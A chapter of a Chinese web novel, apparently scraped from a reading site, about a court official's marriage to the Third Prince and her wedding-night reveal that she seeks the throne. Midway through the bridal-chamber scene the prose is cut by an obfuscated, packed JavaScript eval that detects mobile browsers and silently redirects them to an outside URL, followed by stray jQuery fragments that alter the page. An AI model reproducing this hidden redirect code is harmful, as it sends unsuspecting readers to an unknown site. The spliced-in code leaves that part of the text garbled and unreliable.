三殿下与工部侍郎宋橙成婚的消息一经流传,朝野上下无不震惊。

    起初众人只当是市井坊间空穴来风的流言,有人嗤笑说三殿下那般高岭之草般的人物,怎会下嫁一个刚刚爬上来没两年的小官?

    可传着传着,竟越传越真了,酒肆茶楼里说得有鼻子有眼,连婚期是哪日都编了出来。

    有人道这是流言越假越可信,有人却道这桩婚事早在梅宴上便露了端倪。那日勇骁将军府中三殿下提前离席、面色不虞的模样,回头一琢磨,分明是醋意上头。

    更有甚者,将三殿下此前屡屡打压宋橙的行径翻出来重新品评,宋橙立了那么大的功,官没升一级,反倒被赏了些金啊银的华而不实之物。

    如今想来,哪里是打压,分明是藏着别样的私心。

    定是三殿下早就对宋大人心有所属,但宋大人不愿,这才三番两次阻她官途,好叫她知道离了自己便寸步难行,如今,宋大人终究是无可奈何了,才应下这桩婚事。

    不过短短数日,坊间便流传出了七八个不同版本的情爱话本,一个比一个离奇缠绵。

    曾一同受邀参加勇骁将军府梅宴的众人更是将这传言坐实了七成。

    “也是苦了这宋大人,立这么多功,官没上去不说,现如今还要退居朝堂了。”

    成为皇男妻主不可入朝,这是开国以来便定下的铁律。

    “可惜了宋大人那般才华,竟被三殿下糟践至此,实在欺人太甚!”

    “多说无益,早日将这朝中毒瘤清理下去才是正解,否则朝中一旦出现长相稍好点的,岂非都成了他的囊中之物?倒反天罡,罔顾人伦啊!”

    吏部那边已有人暗自打听宋橙的位置落下来谁补上,也有人真心实意地为宋橙惋惜着,总之是说什么的都有。

    没过几日,太女旨意正式颁下,赐婚工部侍郎宋橙与三殿下,婚期定在当月十五。

    圣旨一出,之前所有的猜测流言便尘埃落定,再也无人质疑了。

    大婚当日,天公作美,一连数日的阴云散得干干净净,露出湛蓝如洗的天幕。整个皇城都沐浴在一片暖融融的日光里,宫墙上的琉璃瓦被照得发亮,连檐角的铜铃都镀了一层金边。

    婚礼设在瑶光殿前的正殿。殿宇上下张灯结彩,红绸从殿门一路铺到阶下,两边挂着成串的鎏金喜字灯笼,殿前的砖地上铺了大红的地毯,两侧立着鎏金的仙鹤烛台,百支红烛同时燃着,将整座正殿映得满堂生辉。

    宫侍们一律换了新制的红衣,垂手侍立在廊下。

    吉时一到,鼓乐齐鸣。太女端坐在正殿主位上,小小的身子穿着正式的明黄朝服,脚还够不着地面,却端得一丝不苟,两只手规规矩矩地放在膝上,圆溜溜的眼睛一眨不眨地看着殿门口。

    萧砚自偏殿而出。

    他今日一身正红婚服,是宫中织造局用了整整一月赶制出来的,大袖交领,衣料上以金线绣着繁复的龙凤呈祥纹样,腰束玉带,缀着一方上好的羊脂白玉佩。

    萧砚长发以金冠束起,冠上嵌着一颗鸽卵大小的红宝石,衬得那张本就清隽无双的面容愈发如琢如磨,唇上点了的薄薄一层口脂恰到好处地压住了那副惯常的清冷,添了几分新嫁郎的温润与羞意。

    宋橙自正殿大门步入。

    她今日未着官袍,换了一身同色的正红婚服,样式比萧砚的稍简几分,却同样以金线绣着云纹与缠枝莲,在烛火下流光溢彩。墨发以一支白玉簪固定,簪尾垂着细细的流苏,随着她的步伐微微晃动。

    二人于殿中相对而立。

    礼官唱道:“一拜天地——”

    两人转身,面朝殿门外的苍茫天穹,缓缓俯身,深深一拜。

    “二拜母父——”

    陛下缠绵病榻,凤君早逝,宫中贵君皆已散尽,因此,两人只需朝主座的空位上拜。

    “夫妻对拜——”

    宋橙与萧砚相对而立,同时俯身。

    三拜礼成,礼官高声道:“礼成——送入洞房——”

    殿外的鼓乐骤然热烈起来,比方才又高了几个调。宫侍们鱼贯而入,捧着一碟碟喜果喜糖在殿中穿梭,将喜气洒向每一位宾客。

    宫中无人,萧砚无需自立府邸出宫,依旧住在瑶光殿中。

    婚宴设在正殿侧厅,朝中三品以上的官员皆在受邀之列,此外还有一些与宋橙交好的同僚以及江南来时的一些故交。

    厅中摆了十余桌酒席,红烛高照,满堂衣香鬓影,觥筹交错间贺喜声此起彼伏。

    宋橙端着酒盏,一桌一桌地敬过去,笑眯眯地与众人逗几句趣。

    “宋大人,哦不,如今该叫您殿主了——恭喜恭喜啊!”

    宋橙笑着摆手:“别别别,还是喊宋大人顺耳。”

    “宋大人好福气,能得三殿下青眼,我们这些人只有羡慕的份。”

    宋橙端起酒盏与对方碰了一下,笑道:“那这杯酒你可得多喝,替你自个儿解解馋。”

    满堂笑声,酒席间热闹非凡,你来我往地推杯换盏,连太女都偷偷让宫人给她倒了一小杯果酒抿了两口,喝得小脸都红了。

    因着宫中有门禁,不可留客太晚,戌时刚过便有宫侍来提醒时辰,宾客们这才依依不舍地起身告辞,临走前还不忘拉着宋橙絮絮叨叨几句,说着“改日再聚”。

    等最后一个宾客送走,宋橙瞬间被抽了骨头,歪在了云芝身上。

    云芝搀扶着她往主殿走,“大人今日可是喝了不少。”

    “那是,”宋橙眯着眼,脚步有些飘,“这酒可是宫廷御酒,不多喝点都对不起成这一次婚。”

    云芝小声道:“可是您现在已是皇家人了,岂不是想喝就喝。”

    宋橙:“......”

    到了主殿门前,云芝松开手,门边候着的知秀和平儿连忙推门,宋橙扶着门框站稳,朝云芝摆摆手:“行了,都去歇着吧。”

    殿门在身后缓缓合拢,宋橙撩起醉眼,抬眸望去。

    殿内红烛高烧,满室的暖光被一重重轻纱帷幔滤过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710247|208086||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,萧砚端端正正地坐在床榻边沿,双手交叠搁在膝上,头上覆着一方绣着鸳鸯戏水的红盖头,婚服衣摆铺了大半个床面,金线在烛火下泛着细细的流光,整个人像一幅还未落笔的红梅图。

    宋橙走过去,在他面前站定,从案上拿起那根挑盖头的玉如意,轻而稳地将那片红绸轻轻掀起。

    绸面滑落的一瞬,萧砚抬起眼来,长长的睫毛微微颤了一下。

    红烛、红绸、红衣,将他那副素日清冷的面容衬出了一层温润的绯色,像白玉器皿里刚斟满了一盏琥珀酒。

    宋橙盯了半晌,才缓过神来,将玉如意放回案上,坐在了萧砚身边。

    “殿下今日高兴吗?”宋橙忽然问。

    萧砚怔了下,放在膝上的手微微蜷了下,声音发涩,“自然高兴。”

    “高兴就好。”宋橙没头没脑地回了一句。

    案上早已备好了两只合卺杯,宋橙牵着萧砚的手,领着人到桌前坐下,将其中一只递给了他。

    萧砚接过杯盏,指尖碰到宋橙微凉的指腹,心头轻轻地跳了一下。

    今天的宋橙,跟往日格外不同。

    烛火映在那双凤眸上,将眼尾的那点泪痣衬得更加鲜艳夺目。

    萧砚垂下眼,跟宋橙一起抬起杯来,双臂交缠,仰头将那半盏合卺酒一饮而尽。

    酒液入喉,微辣的暖意顺着咽喉一路滑下,心口的位置像是忽然被攥紧了。

    一股强烈的不安骤然升腾,一波接着一波地,压得他坐立难安。

    萧砚只觉眼皮蹦蹦乱跳,脑子里却想不出什么不对来,呆呆地看着宋橙。

    宋橙放下空盏,起身朝他走来,烛光将两人的影子投在帐幔前,交叠在一处,宋橙的指尖沿着他的领口缓缓滑过,最后停在那一块又烫又滑的肌肤上,不动了。

    “殿下,你的守宫砂呢?”宋橙轻声道。

    萧砚瞳孔微缩,终于意识到了不对,刚想开口,一只手指顺着口腔滑了进去,压在了他的舌上,让他无法开口。

    方才带着醉意的凤眼此刻清亮无比,里面压着一丝从前不曾显露过的阴翳,还有一丝萧砚看不懂的微妙情绪。

    “砰——”地一声巨响,金瓶乍破,溅飞一地碎片。

    上好的合卺酒飞散在金丝红摆的喜服上,萧砚闭了闭眼,抬眸时已是一片冷然,压在舌上的指头丝毫未有怜惜,萧砚狠狠咬了下去。

    松开的刹那,萧砚嘴角拉成平线,轻声问:

    “宋橙,你究竟想要什么?”

    权力,地位,金钱......只要成为他的妻主,通通都能获得。

    宋橙凤眼微弯,朝他无声吐出几个字。

    ——我要的是皇位。

    萧砚心中的弦骤然绷断,还未来得及思考,只见宋橙突然开口,声音振聋发聩:“三殿下突然要与臣成婚,竟是藏着这样的心思!若非臣今日没有发现,岂非成了那人的接手?!”

    往日沉重的殿门今日不知为何,竟被轻飘飘地吹开了。